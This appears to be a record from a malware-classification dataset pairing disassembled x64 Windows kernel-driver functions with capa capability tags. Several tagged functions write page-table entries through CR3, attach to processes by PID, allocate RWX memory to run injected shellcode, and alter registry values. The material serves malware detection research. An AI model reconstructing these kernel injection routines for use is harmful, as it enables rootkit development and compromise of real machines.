joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006280
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov ebp, r8d
mov rdi, rdx
mov rbx, rcx
mov rcx, cr3
movabs rax, 0xffffffffff000
and rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmGetVirtualForPhysical]
cmp rbx, qword [0x14000c658]
mov qword [rsp + 0x20], rax
jne 0x140006304
cmp rdi, qword [0x14000c660]
jne 0x140006304
mov rdx, qword [0x14000c650]
xor esi, esi
test rdx, rdx
je 0x14000646e
mov r9, qword [0x14000c648]
mov rcx, qword [r9 + rsi*8]
mov rax, rbp
inc rsi
xor rax, qword [rcx]
and rax, 0xfffffffffffffffe
xor rax, rbp
mov qword [rcx], rax
cmp rsi, rdx
jb 0x1400062e3
jmp 0x14000646e
mov rcx, qword [0x14000c648]
xor esi, esi
test rcx, rcx
je 0x14000631a
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rdx, rdi
xor ecx, ecx
shr rdx, 0xc
mov qword [0x14000c650], rdx
shl rdx, 3
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
or r14, 0xffffffffffffffff
mov qword [0x14000c660], rdi
add rdi, rbx
mov qword [0x14000c648], rax
mov qword [0x14000c658], rbx
mov rcx, rsi
mov qword [rsp + 0x70], rcx
mov r12, r14
mov qword [rsp + 0x88], rsi
mov r13, r14
cmp rbx, rdi
jae 0x14000646e
mov qword [rsp + 0x28], rbp
mov r15, rsi
mov rbp, rbx
shr rbp, 0x27
and ebp, 0x1ff
cmp r14, rbp
je 0x1400063b0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + rbp*8]
movabs rax, 0xffffffffff000
and rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmGetVirtualForPhysical]
mov rcx, qword [rsp + 0x70]
mov r14d, ebp
mov rsi, rax
mov rbp, rbx
shr rbp, 0x1e
and ebp, 0x1ff
cmp r12, rbp
je 0x1400063e4
mov rcx, qword [rsi + rbp*8]
movabs rax, 0xffffffffff000
and rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmGetVirtualForPhysical]
mov rcx, rax
mov qword [rsp + 0x70], rax
mov r12d, ebp
mov rbp, rbx
shr rbp, 0x15
and ebp, 0x1ff
cmp r13, rbp
je 0x14000641d
mov rcx, qword [rcx + rbp*8]
movabs rax, 0xffffffffff000
and rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmGetVirtualForPhysical]
mov r9, rax
mov qword [rsp + 0x88], rax
mov r13d, ebp
jmp 0x140006425
mov r9, qword [rsp + 0x88]
mov rax, qword [0x14000c648]
mov rcx, rbx
shr rcx, 0xc
add rbx, 0x1000
and ecx, 0x1ff
lea rdx, [r9 + rcx*8]
mov rcx, qword [rsp + 0x28]
xor rcx, qword [rdx]
and rcx, 0xfffffffffffffffe
xor rcx, qword [rsp + 0x28]
mov qword [rdx], rcx
mov rcx, qword [rsp + 0x70]
mov qword [r15 + rax], rdx
add r15, 8
cmp rbx, rdi
jb 0x140006377
mov rbx, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006484
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x14000b0d0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov ebx, r8d
mov rsi, rdx
test ecx, ecx
je 0x140006592
and qword [r11 - 0x48], 0
lea rdx, [r11 - 0x48]
mov ecx, ecx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x1400065de
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, cr3
movabs rax, 0xffffffffff000
and rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmGetVirtualForPhysical]
mov rcx, qword [0x14000c668]
mov rdi, rax
test rcx, rcx
jne 0x140006566
call fcn.140002948
mov rdx, rsi
mov qword [0x14000b4e0], rax
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8, rsi
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.140007ec0
mov r8, qword [0x14000b4e0]
mov rdx, rsi
mov rcx, rbx
call fcn.1400026a8
mov r8d, 0x80000000
mov rdx, rsi
mov rcx, rbx
call fcn.140005d20
mov rax, qword [0x14000b4e0]
shr rax, 0x27
and eax, 0x1ff
mov rax, qword [rdi + rax*8]
mov qword [0x14000c668], rax
jmp 0x14000657a
mov rax, qword [0x14000b4e0]
shr rax, 0x27
and eax, 0x1ff
mov qword [rdi + rax*8], rcx
lea rcx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x1400065de
mov eax, ebx
neg eax
mov rax, qword [0x14000b4f8]
sbb cl, cl
and cl, 0x33
add cl, 0x90
mov byte [rax], cl
mov rcx, cr3
movabs rax, 0xffffffffff000
and rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmGetVirtualForPhysical]
mov rcx, qword [0x14000b4e0]
neg ebx
sbb rdx, rdx
shr rcx, 0x27
and rdx, qword [0x14000c668]
and ecx, 0x1ff
mov qword [rax + rcx*8], rdx
mov rax, qword [0x14000b4e0]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140007e50
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140006604
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x14000b0d0]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rcx
lea rcx, [0x140008520]
jmp 0x14001e764
Function at 0x1400071a4
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
lea rcx, [0x1400089f0]
call fcn.1400074d0
mov rbx, rax
test rax, rax
je 0x14000734b
lea r8, [0x140008a00]
mov rcx, rax
lea rdx, [0x140008a10]
call fcn.140007430
test rax, rax
je 0x14000734b
movsxd rdi, dword [rax + 3]
add rdi, 7
add rdi, rax
je 0x14000734b
lea r8, [0x140008a20]
mov rcx, rbx
lea rdx, [0x140008a40]
call fcn.140007430
test rax, rax
je 0x14000734b
movsxd rdx, dword [rax + 2]
mov esi, dword [rdx + rax + 6]
test esi, esi
je 0x14000734b
mov rcx, qword [rdi]
xor r8d, r8d
mov edx, esi
call qword [sym.imp.ntoskrnl.exe_MmMapIoSpace]
mov r14, rax
test rax, rax
je 0x14000734b
mov edx, esi
mov rcx, rax
call fcn.140006fd4
lea rdx, [0x140008a60]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and qword [rbp - 0x28], 0
lea rax, [rbp - 0x40]
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x30]
mov dword [rbp - 0x30], 0x30
mov edx, 0xf003f
mov dword [rbp - 0x18], 0x40
lea rcx, [rbp + 0x38]
movdqu xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x14000733b
lea rdx, [0x140008af0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea ebx, [rsi + 0x20]
mov ecx, 1
mov edx, ebx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rcx, qword [rbp + 0x38]
lea rdx, [rbp - 0x50]
and dword [rbp + 0x30], 0
mov rdi, rax
lea rax, [rbp + 0x30]
mov r9, rdi
mov qword [rsp + 0x28], rax
mov r8d, 2
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
lea rcx, [rdi + 0x14]
mov r8d, esi
mov rdx, r14
call fcn.1400080c0
lea ecx, [rsi + 8]
mov r9d, 3
mov dword [rsp + 0x28], ecx
lea rax, [rdi + 0xc]
mov rcx, qword [rbp + 0x38]
lea rdx, [rbp - 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_MmUnmapIoSpace]
xor eax, eax
jmp 0x140007350
mov eax, 0xc0000001
mov rbx, qword [rsp + 0xc0]
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140007430
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
movsxd r9, dword [rcx + 0x3c]
lea rbx, [rcx + 0x18]
add rbx, r9
xor r10d, r10d
mov r14, r8
mov r15, rdx
mov rbp, rcx
movzx eax, word [r9 + rcx + 0x14]
movzx esi, word [r9 + rcx + 6]
add rbx, rax
test rsi, rsi
je 0x1400074b3
xor edi, edi
cmp dword [rbx], 0x45474150
je 0x14000748b
cmp dword [rbx], 0x7865742e
jne 0x1400074a7
cmp byte [rbx + 4], 0x74
jne 0x1400074a7
mov ecx, dword [rbx + 0xc]
mov r9, r14
mov edx, dword [rbx + 8]
add rcx, rbp
mov r8, r15
call fcn.1400073b8
mov r10, rax
test rax, rax
jne 0x1400074b3
inc rdi
add rbx, 0x28
cmp rdi, rsi
jl 0x140007475
mov rbx, qword [rsp + 0x40]
mov rax, r10
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x1400074d0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x170
mov rax, qword [0x14000b0d0]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor ebx, ebx
lea r9, [rsp + 0x20]
mov r14, rcx
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rdx, [rsp + 0x20]
lea esi, [rbx + 0xb]
mov ecx, esi
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000761c
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x6f616d4c
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rdi, rax
test rax, rax
je 0x14000761c
mov r8d, dword [rsp + 0x20]
xor r9d, r9d
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x14000760c
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x14000760c
lea rbp, [rdi + 8]
mov rax, rbp
lea rcx, [rsp + 0x30]
mov edx, 2
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140007578
movups xmm0, xmmword [rax]
mov rdx, r14
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rsp + 0x58]
call sub.ntoskrnl.exe_strstr
test rax, rax
jne 0x140007607
inc rsi
add rbp, 0x128
cmp rsi, qword [rdi]
jb 0x14000756b
jmp 0x14000760c
mov rbx, qword [rsp + 0x40]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, rbx
jmp 0x14000761e
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140007e50
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400126d8
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
lea r14, [rcx + 0x20]
mov r12b, dl
mov rbx, qword [r14]
mov r13, rcx
jmp 0x1400128d5
cmp byte [rbx + 0x51], 0
jne 0x1400128d2
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov r15, rax
test r12b, r12b
jne 0x140012729
mov rdx, qword [rbx + 0x10]
mov rcx, r13
call fcn.1400014f4
mov ecx, dword [r15 + 0x28]
test ecx, ecx
je 0x140012777
mov rax, qword [rbx + 0x10]
mov r9d, 3
and qword [rsp + 0x30], 0
mov rdx, r13
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x20], rax
lea r8, [rax + rcx]
xor ecx, ecx
call fcn.140012900
test eax, eax
je 0x140012777
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
mov rcx, rax
call fcn.140007748
test al, al
jne 0x1400128f8
mov ecx, 0x10b
cmp word [r15 + 0x18], cx
lea eax, [rcx - 3]
lea esi, [rcx - 0x13]
cmovne esi, eax
movzx eax, word [r15 + 6]
add rsi, r15
lea rcx, [rax + rax*4]
lea rax, [rsi + rcx*8]
cmp rsi, rax
jae 0x14001285b
lea rdi, [rsi + 0xc]
test dword [rdi + 0x18], 0x2000000
je 0x14001283d
mov ecx, dword [rdi]
add rcx, qword [rbx + 0x10]
mov r8d, dword [rdi - 4]
mov eax, dword [rbx + 0x4c]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x40], r8
test al, 0x10
je 0x1400127d6
xor edx, edx
call fcn.140007ec0
jmp 0x14001283d
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
mov r9d, 4
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
test eax, eax
js 0x140012807
mov r8, qword [rbp + 0x40]
xor edx, edx
mov rcx, qword [rbp + 0x50]
call fcn.140007ec0
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
mov r9d, 1
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
mov r9d, 0x4000
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
movzx eax, word [r15 + 6]
add rdi, 0x28
lea rcx, [rax + rax*4]
lea rdx, [rsi + rcx*8]
lea rax, [rdi - 0xc]
cmp rax, rdx
jb 0x1400127a7
mov eax, dword [rbx + 0x4c]
test al, 4
je 0x1400128ce
mov r8d, dword [r15 + 0x54]
mov rcx, qword [rbx + 0x10]
mov qword [rbp + 0x40], r8
test al, 0x10
je 0x14001287b
xor edx, edx
call fcn.140007ec0
jmp 0x1400128ce
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
mov qword [rbp + 0x50], rcx
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
mov r9d, 4
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
test eax, eax
js 0x1400128ce
mov r8, qword [rbp + 0x40]
xor edx, edx
mov rcx, qword [rbx + 0x10]
call fcn.140007ec0
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x40]
mov r9d, 2
lea rdx, [rbp + 0x50]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwProtectVirtualMemory]
mov byte [rbx + 0x51], 1
mov rbx, qword [rbx]
cmp rbx, r14
jne 0x140012701
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov eax, 0xc000010a
jmp 0x1400128e0
Function at 0x140012a9c
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbp, rcx
xor ebx, ebx
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov r14, rax
test rax, rax
je 0x140012b2f
lea r8d, [rbx + 0xa]
mov dword [rsp + 0x58], ebx
lea r9, [rsp + 0x58]
mov dl, 1
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_RtlImageDirectoryEntryToData]
test rax, rax
je 0x140012b34
mov r15d, 0x20b
lea rsi, [rax + 0x3c]
lea rdi, [rax + 0x58]
cmp word [r14 + 0x18], r15w
jne 0x140012af6
mov rax, qword [rdi]
jmp 0x140012af8
mov eax, dword [rsi]
test rax, rax
je 0x140012b34
mov rax, rbp
lea rcx, [rsp + 0x60]
shr rax, 0x20
xor eax, ebp
mov dword [rsp + 0x60], eax
call qword [sym.imp.ntoskrnl.exe_RtlRandomEx]
mov ecx, eax
xor rcx, rbp
cmp word [r14 + 0x18], r15w
jne 0x140012b29
mov rax, qword [rdi]
mov qword [rax], rcx
jmp 0x140012b34
mov eax, dword [rsi]
mov dword [rax], ecx
jmp 0x140012b34
mov ebx, 0xc000007b
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140012c30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp + 0x67], 0x1000
mov rsi, rcx
test rcx, rcx
jne 0x140012c69
mov eax, 0xc000000d
jmp 0x140012df4
lea r14, [rcx + 8]
mov dword [rsp + 0x28], 0x40
and qword [r14], 0
lea r9, [rbp + 0x67]
mov rdx, r14
mov dword [rsp + 0x20], 0x1000
xor r8d, r8d
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov ebx, eax
test eax, eax
js 0x140012df2
mov rcx, qword [rsi]
mov rdi, qword [r14]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessWow64Process]
lea rdx, [0x140015510]
mov r15, rax
lea rcx, [rbp + 7]
call fcn.140001150
mov rbx, qword [rsi]
lea rdx, [rbp + 7]
test r15, r15
mov rcx, rbx
setne r8b
call fcn.140012358
mov rcx, rax
lea rdx, [0x140015740]
xor r9d, r9d
mov r8, rbx
call section.PAGE
test rax, rax
je 0x140012ded
and dword [rbp + 0x1b], 0
lea rcx, [rdi + 0x100]
and dword [rbp + 0x33], 0
mov qword [rcx], 0xffffffffffff3cb0
test r15, r15
je 0x140012d29
mov byte [rdi], 0x68
mov dword [rdi + 1], ecx
mov word [rdi + 5], 0x16a
mov byte [rdi + 7], 0xb8
mov dword [rdi + 8], eax
mov dword [rdi + 0xc], 0xf0ebd0ff
jmp 0x140012d51
mov word [rdi], 0xb948
mov qword [rdi + 2], 1
mov word [rdi + 0xa], 0xba48
mov qword [rdi + 0xc], rcx
mov word [rdi + 0x14], 0xb848
mov qword [rdi + 0x16], rax
mov dword [rdi + 0x1e], 0xdeebd0ff
and qword [rsp + 0x50], 0
lea r8, [rbp + 0x17]
mov rax, qword [r14]
lea rcx, [rsi + 0x10]
and qword [rbp + 0x1f], 0
xorps xmm0, xmm0
and qword [rbp + 0x27], 0
mov r14d, 0x1fffff
mov qword [rsp + 0x48], 0x100000
or r9, 0xffffffffffffffff
mov qword [rsp + 0x40], 0x1000
mov edx, r14d
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x17], 0x30
mov dword [rbp + 0x2f], 0x200
movdqu xmmword [rbp + 0x37], xmm0
call fcn.140001a14
mov ebx, eax
test eax, eax
js 0x140012df2
mov r8, qword [sym.imp.ntoskrnl.exe_PsThreadType]
lea rax, [rsi + 0x18]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov rcx, qword [rsi + 0x10]
mov edx, r14d
mov qword [rsp + 0x20], rax
mov r8, qword [r8]
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
jmp 0x140012df2
mov ebx, 0xc0000225
mov eax, ebx
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400136b4
Capabilities:
Access pe header
Get file attributes
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x14000b0d0]
xor rax, rsp
mov qword [rbp + 0x47], rax
and qword [rbp - 0x19], 0
xor eax, eax
and dword [rbp + 3], 0
xorps xmm0, xmm0
and dword [rbp + 0x1b], 0
xorps xmm1, xmm1
mov qword [rbp + 0x3f], rax
mov rdi, rdx
movups xmmword [rbp - 0x11], xmm0
movups xmmword [rbp + 0x2f], xmm1
test rcx, rcx
je 0x14001381e
test rdx, rdx
je 0x14001381e
and dword [rsp + 0x50], eax
lea ebx, [rax + 1]
and qword [rsp + 0x48], rax
lea r9, [rbp - 0x11]
and qword [rbp + 7], rax
lea r8, [rbp - 1]
mov dword [rsp + 0x40], 0x20
mov edx, 0x100001
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov qword [rbp + 0xf], rcx
lea rcx, [rbp - 0x19]
mov dword [rsp + 0x28], pe_nt_image_headers64
and qword [rsp + 0x20], rax
mov dword [rbp - 1], 0x30
mov dword [rbp + 0x17], 0x200
movdqu xmmword [rbp + 0x1f], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
js 0x140013823
mov rcx, qword [rbp - 0x19]
lea r9d, [rbx + 0x17]
lea r8, [rbp + 0x2f]
mov dword [rsp + 0x20], 5
lea rdx, [rbp - 0x11]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
js 0x1400137a9
mov rdx, qword [rbp + 0x37]
mov r8d, 0x74616731
mov ecx, ebx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov qword [rdi], rax
and qword [rsp + 0x40], 0
xor r9d, r9d
and qword [rsp + 0x38], 0
xor r8d, r8d
mov eax, dword [rbp + 0x37]
xor edx, edx
mov rcx, qword [rbp - 0x19]
mov dword [rsp + 0x30], eax
mov rax, qword [rdi]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov ebx, eax
test eax, eax
js 0x1400137f9
mov rcx, qword [rdi]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
test rax, rax
mov ecx, 0xc000007b
cmove ebx, ecx
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
test ebx, ebx
jns 0x14001381a
mov rcx, qword [rdi]
test rcx, rcx
je 0x14001381a
mov edx, 0x74616731
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
jmp 0x140013823
mov eax, 0xc000000d
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140007e50
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140014600
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
mov rdi, r8
test dl, dl
je 0x140014619
lea rax, [r8 + rbx]
jmp 0x14001466b
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
test rax, rax
je 0x140014669
mov ecx, 0xf8
lea r8d, [rcx + 0x13]
cmp word [rax + 0x18], r8w
lea edx, [rcx + 0x10]
cmovne ecx, edx
lea rdx, [rcx + rax]
movzx eax, word [rax + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
jmp 0x140014664
mov r8d, dword [rdx + 0xc]
cmp ebx, r8d
jb 0x140014660
mov ecx, dword [rdx + 8]
add ecx, r8d
cmp ebx, ecx
jb 0x140014676
add rdx, 0x28
cmp rdx, r9
jb 0x14001464d
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov eax, dword [rdx + 0x14]
sub ebx, r8d
mov ecx, ebx
add rcx, rdi
add rax, rcx
jmp 0x14001466b

Function at 0x140014688
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
and dword [rsp + 0x48], 0
mov rdi, rcx
cmp qword [0x14000b4c0], 0
je 0x1400146bf
test rcx, rcx
je 0x1400147a3
mov eax, dword [0x14000b4c8]
mov dword [rcx], eax
jmp 0x1400147a3
lea rdx, [0x140015760]
lea rcx, [rsp + 0x20]
call fcn.140001150
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov rsi, rax
test rax, rax
je 0x1400147ac
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x1400147ac
mov edx, eax
xor ecx, ecx
mov r8d, 0x74616731
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.140007ec0
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
mov rdx, rbx
mov ecx, 0xb
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x140014790
mov r9d, dword [rbx]
xor ecx, ecx
test r9d, r9d
je 0x140014790
mov eax, ecx
imul rdx, rax, 0x128
mov r8, qword [rbx + rdx + 0x18]
cmp rsi, r8
jb 0x14001476f
mov eax, dword [rbx + rdx + 0x20]
add rax, r8
cmp rsi, rax
jb 0x140014778
inc ecx
cmp ecx, r9d
jb 0x140014750
jmp 0x140014790
mov qword [0x14000b4c0], r8
mov eax, dword [rbx + rdx + 0x20]
mov dword [0x14000b4c8], eax
test rdi, rdi
je 0x140014790
mov dword [rdi], eax
test rbx, rbx
je 0x1400147a3
mov edx, 0x74616731
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, qword [0x14000b4c0]
jmp 0x1400147ae
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140014838
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14000b0d0]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ecx, ecx
call fcn.140014688
mov rsi, rax
mov rax, qword [0x14000b4d0]
test rax, rax
jne 0x140014928
test rsi, rsi
je 0x140014926
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov rbp, rax
movzx ecx, word [rax + 6]
lea rdi, [rax + 0x108]
lea rdx, [rcx + rcx*4]
lea rcx, [rdi + rdx*8]
cmp rdi, rcx
jae 0x140014926
lea rbx, [rdi + 8]
mov ecx, dword [rbx + 0x1c]
and ecx, 0x2a000000
cmp ecx, 0x28000000
jne 0x14001490d
mov eax, dword [rbx - 8]
cmp eax, 0x54494e49
je 0x14001490d
cmp eax, 0x45474150
je 0x14001490d
movups xmm0, xmmword [0x140015780]
mov r9d, dword [rbx + 4]
lea rcx, [rsp + 0x30]
mov eax, dword [rbx]
add r9, rsi
and qword [rsp + 0x30], 0
mov r8d, 0xf
mov qword [rsp + 0x28], rcx
mov dl, 0xcc
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rax
movdqu xmmword [rsp + 0x38], xmm0
call fcn.14000781c
test eax, eax
jns 0x14001494a
movzx eax, word [rbp + 6]
add rbx, 0x28
lea rcx, [rax + rax*4]
lea rdx, [rdi + rcx*8]
lea rax, [rbx - 8]
cmp rax, rdx
jb 0x1400148aa
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140007e50
